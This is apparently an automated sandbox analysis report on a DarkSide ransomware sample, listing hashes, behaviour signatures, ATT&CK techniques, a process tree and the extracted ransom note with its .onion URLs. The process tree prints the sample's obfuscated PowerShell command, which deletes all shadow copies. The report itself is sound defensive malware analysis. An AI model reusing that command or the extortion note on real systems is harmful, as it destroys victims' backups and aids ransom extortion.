darkside | 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a

General

Target

48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Size

226KB
MD5

c81dae5c67fb72a2c2f24b178aea50b7
SHA1

4bd6437cd1dc77097a7951466531674f80c866c6
SHA256

48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a
SHA512

30d63e080f37f34fb29fd46f8fb1572d79f645154a002c8da5914ae3d51e224bc60601f91f5d58ac2ce9f81d56a8ad467d7fde55d429ed269df3c196e6687b2c

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.2f0839b7.TXT

Family

darkside

Ransom Note

----------- [ Welcome to Dark ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 100 GB data. Example of data: - Accounting data - Executive data - Sales data - Customer Support data - Marketing data - Quality data - And more other... Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To give you universal decrypting tool for all encrypted files. - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68 When you open our website, put the following data in the input form: Key: pr9gzRnMz6qEwr6ovMT0cbjd9yT56NctfQZGIiVVLgo0ME2EQpAUyZucG9BLrOJjno5XLPvCN11TFfnlFHa42u5mJxoeR5k5RUgQAC1MC6LBUj4YOOAUyiBrR HQSUM3pzGoEPRVOzXSZ8YqkJyFL0TDFBbWaBKQDOSo9GzKKoVRQ0Eb02F5geTPkTAqZZSfSQ6PBBlTGPSgGe2kCyuwwp7lDmRSJlNnHssMMZHVhXzyZ6fxiBY gNiuusFK8JNI5nrtRPp3bMAc6OEddxfJWj6o2GT1Xg9j87Jp4Oyv43E1J61jLJAWBkmoBB3Gqv07mtyDW5PnmxBlNzABbLFEvJMQL23sR8nnw4svzcZHxrqD1 xRcxqyeKtsaQ5yqLvyQgMdnrI2QoCqkHYYUfBIzjO8BXyBZdmjHanXE57jdDAhjaDUUqfL917cCyJr1uwVR0Xj5lJXe8BIKHd3dFrz70CsIXFAhicOsBlFzIn daNcAXXyL8Fg1avIXOcuEkGRDXt8Cs8b3TAB6n4DrbLJdiFjECo8yCA9pxvzqjXatumUloblWFZaUoLVYzP !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC

http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 9 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\ExportReceive.tiff => C:\Users\Admin\Pictures\ExportReceive.tiff.2f0839b7	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
File opened for modification	C:\Users\Admin\Pictures\ExportReceive.tiff.2f0839b7	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
File renamed	C:\Users\Admin\Pictures\MeasureUpdate.tiff => C:\Users\Admin\Pictures\MeasureUpdate.tiff.2f0839b7	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
File opened for modification	C:\Users\Admin\Pictures\MeasureUpdate.tiff.2f0839b7	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
File opened for modification	C:\Users\Admin\Pictures\UndoRead.tiff	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
File renamed	C:\Users\Admin\Pictures\UndoRead.tiff => C:\Users\Admin\Pictures\UndoRead.tiff.2f0839b7	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
File opened for modification	C:\Users\Admin\Pictures\ExportReceive.tiff	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
File opened for modification	C:\Users\Admin\Pictures\MeasureUpdate.tiff	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
File opened for modification	C:\Users\Admin\Pictures\UndoRead.tiff.2f0839b7	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe

pid process

308 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exepowershell.exe

pid	process
308	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
308	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
308	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
1996	powershell.exe
1996	powershell.exe
308	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	308	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeSecurityPrivilege	308	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeTakeOwnershipPrivilege	308	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeLoadDriverPrivilege	308	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeSystemProfilePrivilege	308	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeSystemtimePrivilege	308	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeProfSingleProcessPrivilege	308	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeIncBasePriorityPrivilege	308	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeCreatePagefilePrivilege	308	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeBackupPrivilege	308	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeRestorePrivilege	308	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeShutdownPrivilege	308	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeDebugPrivilege	308	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeSystemEnvironmentPrivilege	308	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeRemoteShutdownPrivilege	308	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeUndockPrivilege	308	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeManageVolumePrivilege	308	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: 33	308	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: 34	308	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: 35	308	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeDebugPrivilege	1996	powershell.exe
Token: SeBackupPrivilege	1840	vssvc.exe
Token: SeRestorePrivilege	1840	vssvc.exe
Token: SeAuditPrivilege	1840	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe

description	pid	process	target process
PID 308 wrote to memory of 1996	308	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe	powershell.exe
PID 308 wrote to memory of 1996	308	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe	powershell.exe
PID 308 wrote to memory of 1996	308	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe	powershell.exe
PID 308 wrote to memory of 1996	308	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
"C:\Users\Admin\AppData\Local\Temp\48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe"
1⤵
- Modifies extensions of user files
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:308
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1996

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1840

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

1

T1081

Discovery

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

MD5
fe492a5c936af3ff4eb5861800185ff4

SHA1
ee474f3d9f18ea49bbb161cf1d123fd01bf753d7

SHA256
fbcdb8b4681256a67172244b33e3c1ae98474f31b10ee4fcbe443a97aa880713

SHA512
f425cfb4f952e2845e39e79f815d38f11c70533cddd33ab91abdcbaf5c2c0a413e63d352d885e47f90da10d975da75e6bd12fef6505e4adb9b0d75e64ab7d27f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
4ee5687175d64f04d5d9e55b5bf9925b

SHA1
557dd2ee974448c22670f74d27f470af6648e415

SHA256
7c79032e6674d0cd50a92892aef93696e0e2dc94ef9c13102f30e4081ee8d4e2

SHA512
33d2acfb2bbeb92a0d30ccf21eea130ee3b7b292598a21920dc832a0f7b7560ba5fbc0fa49cd3b1225b6cda2a7fd4a0030b99ed9e62f8e5849c6568be6909b92

Download Submit
memory/308-67-0x0000000000270000-0x00000000002AC000-memory.dmp

Filesize
240KB

Download
memory/308-61-0x0000000075A31000-0x0000000075A33000-memory.dmp

Filesize
8KB

Download
memory/308-60-0x00000000002F0000-0x00000000002F1000-memory.dmp

Filesize
4KB

Download
memory/308-68-0x0000000000300000-0x0000000000301000-memory.dmp

Filesize
4KB

Download
memory/1996-64-0x0000000001E60000-0x0000000001E61000-memory.dmp

Filesize
4KB

Download
memory/1996-66-0x00000000022D0000-0x00000000022D1000-memory.dmp

Filesize
4KB

Download
memory/1996-65-0x000000001ABA0000-0x000000001ABA1000-memory.dmp

Filesize
4KB

Download
memory/1996-69-0x000000001AB20000-0x000000001AB22000-memory.dmp

Filesize
8KB

Download
memory/1996-70-0x000000001AB24000-0x000000001AB26000-memory.dmp

Filesize
8KB

Download
memory/1996-71-0x0000000002300000-0x0000000002301000-memory.dmp

Filesize
4KB

Download
memory/1996-72-0x000000001C1E0000-0x000000001C1E1000-memory.dmp

Filesize
4KB

Download
memory/1996-73-0x000000001C060000-0x000000001C061000-memory.dmp

Filesize
4KB

Download
memory/1996-63-0x000007FEFC661000-0x000007FEFC663000-memory.dmp

Filesize
8KB

Download
memory/1996-62-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads